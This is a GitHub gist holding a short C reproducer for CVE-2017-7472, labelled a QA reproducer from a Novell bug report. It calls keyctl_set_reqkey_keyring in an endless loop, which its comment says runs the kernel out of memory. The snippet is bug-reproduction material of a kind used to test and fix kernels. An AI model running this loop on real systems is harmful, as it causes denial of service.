Skip to content

Instantly share code, notes, and snippets.

@imv7
Created June 8, 2017 05:43
Show Gist options
  • Save imv7/5a4242e8a23eea5fa2cb844890c45eb5 to your computer and use it in GitHub Desktop.
Save imv7/5a4242e8a23eea5fa2cb844890c45eb5 to your computer and use it in GitHub Desktop.
CVE-2017-7472
/*
Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862
QA REPRODUCER:
gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils
./CVE-2017-7472
(will run the kernel out of memory)
*/
#include <sys/types.h>
#include <keyutils.h>
int main()
{
for (;;)
keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment